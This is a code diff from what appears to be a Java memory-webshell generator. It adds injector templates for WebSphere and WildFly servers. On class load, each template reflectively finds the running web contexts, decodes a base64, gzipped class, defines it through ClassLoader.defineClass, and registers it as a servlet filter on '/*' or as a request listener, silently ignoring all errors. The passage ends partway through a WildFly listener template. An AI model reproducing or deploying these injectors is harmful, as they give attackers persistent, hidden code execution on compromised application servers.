||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,272 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import javax.servlet.Filter;
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* tested v7、v8
|
||||||
|
* update 2023/07/08
|
||||||
|
*/
|
||||||
|
public class WebSphereFilterInjectorTpl {
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "/*";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new WebSphereFilterInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public WebSphereFilterInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object filter = getFilter(context);
|
||||||
|
addFilter(context, filter);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public List<Object> getContext() throws Exception {
|
||||||
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
|
Object context;
|
||||||
|
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
Object[] wsThreadLocals = (Object[]) obj;
|
||||||
|
for (Object wsThreadLocal : wsThreadLocals) {
|
||||||
|
obj = wsThreadLocal;
|
||||||
|
// for websphere 7.x
|
||||||
|
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
|
||||||
|
Object[] stackList = (Object[]) getFV(obj, "stack");
|
||||||
|
for (Object stack : stackList) {
|
||||||
|
try {
|
||||||
|
Object config = getFV(stack, "config");
|
||||||
|
context = getFV(getFV(config, "context"), "context");
|
||||||
|
contexts.add(context);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
|
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void addFilter(Object context, Object filter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||||
|
String filterName = getFilterName(getClassName());
|
||||||
|
try {
|
||||||
|
if (!isAdded(context, filterName)) {
|
||||||
|
Class filterMappingClass;
|
||||||
|
Class iFilterConfigClass;
|
||||||
|
Class iServletConfigClass;
|
||||||
|
ClassLoader classLoader;
|
||||||
|
try {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||||
|
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||||
|
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||||
|
} catch (Exception e) {
|
||||||
|
classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||||
|
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||||
|
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||||
|
}
|
||||||
|
|
||||||
|
Object filterManager = getFV(context, "filterManager");
|
||||||
|
try {
|
||||||
|
// v8
|
||||||
|
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
||||||
|
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
|
||||||
|
setFV(context, "initialized", false);
|
||||||
|
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{filterName, getClassName(), filter, filter.getClass()});
|
||||||
|
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
||||||
|
setFV(context, "initialized", true);
|
||||||
|
|
||||||
|
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
|
||||||
|
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||||
|
|
||||||
|
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
|
||||||
|
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
// v7
|
||||||
|
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{filterName});
|
||||||
|
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
|
||||||
|
setFV(filterConfig, "dispatchMode", new int[]{0});
|
||||||
|
setFV(filterConfig, "name", filterName);
|
||||||
|
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
|
||||||
|
ArrayList _uriFilterMappings = (ArrayList) getFV(filterManager, "_uriFilterMappings");
|
||||||
|
int lastIndex = _uriFilterMappings.size() - 1;
|
||||||
|
Object lastElement = _uriFilterMappings.remove(lastIndex);
|
||||||
|
_uriFilterMappings.add(0, lastElement);
|
||||||
|
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
|
||||||
|
|
||||||
|
}
|
||||||
|
// 清除缓存
|
||||||
|
invokeMethod(getFV(filterManager, "chainCache"), "clear");
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFilterName(String className) {
|
||||||
|
if (className.contains(".")) {
|
||||||
|
int lastDotIndex = className.lastIndexOf(".");
|
||||||
|
return className.substring(lastDotIndex + 1);
|
||||||
|
} else {
|
||||||
|
return className;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isAdded(Object context, String filterName) throws Exception {
|
||||||
|
Object webAppConfiguration = getFV(context, "config");
|
||||||
|
List filerMappings = (List) invokeMethod(webAppConfiguration, "getFilterMappings");
|
||||||
|
for (int i = 0; i < filerMappings.size(); i++) {
|
||||||
|
Object config = invokeMethod(filerMappings.get(i), "getFilterConfig");
|
||||||
|
String name = (String) invokeMethod(config, "getFilterName");
|
||||||
|
if (name.equals(filterName)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getFilter(Object context) {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class filterClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
filter = filterClass.newInstance();
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filter;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj.getClass(), fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void setFV(Object obj, String fieldName, Object fieldValue) throws Exception {
|
||||||
|
getF(obj.getClass(), fieldName).set(obj, fieldValue);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,140 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
public class WebSphereListenerInjectorTpl {
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new WebSphereListenerInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public WebSphereListenerInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object listener = getListener(context);
|
||||||
|
addListener(context, listener);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() throws Exception {
|
||||||
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
|
Object context;
|
||||||
|
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
Object[] wsThreadLocals = (Object[]) obj;
|
||||||
|
for (Object wsThreadLocal : wsThreadLocals) {
|
||||||
|
obj = wsThreadLocal;
|
||||||
|
// for websphere 7.x
|
||||||
|
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
|
||||||
|
Object[] stackList = (Object[]) getFV(obj, "stack");
|
||||||
|
for (Object stack : stackList) {
|
||||||
|
try {
|
||||||
|
Object config = getFV(stack, "config");
|
||||||
|
context = getFV(getFV(config, "context"), "context");
|
||||||
|
contexts.add(context);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
|
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class listenerClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
listener = listenerClass.newInstance();
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return listener;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addListener(Object context, Object listener) throws Exception {
|
||||||
|
List listeners = (List) getFV(context, "servletRequestListeners");
|
||||||
|
// 判断是否已经存在
|
||||||
|
if (!listeners.contains(listener)) listeners.add(listener);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj.getClass(), fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
|
||||||
|
try {
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}catch (Exception ignored){
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,207 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import javax.servlet.DispatcherType;
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
|
public class WildFlyFilterInjectorTpl {
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "/*";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new WildFlyFilterInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public WildFlyFilterInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object filter = getFilter(context);
|
||||||
|
addFilter(context, filter);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||||
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
for (int i = 0; i < threads.length; i++) {
|
||||||
|
try {
|
||||||
|
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||||
|
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||||
|
if (servletContext != null) contexts.add(servletContext);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private Object getFilter(Object context) {
|
||||||
|
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
filter = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filter;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addFilter(Object context, Object filter) {
|
||||||
|
try {
|
||||||
|
if (isInjected(context, getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||||
|
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||||
|
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
|
||||||
|
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
|
Object deploymentImpl = getFV(context, "deployment");
|
||||||
|
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
|
||||||
|
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
|
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||||
|
} catch (Throwable e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||||
|
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
|
||||||
|
for (Map.Entry<String, Object> filter : filters.entrySet()) {
|
||||||
|
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
|
||||||
|
if (filterClass.getName().equals(evilClassName)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,197 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
|
public class WildFlyListenerInjectorTpl {
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new WildFlyListenerInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public WildFlyListenerInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object listener = getListener(context);
|
||||||
|
injectListener(context, listener);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
|
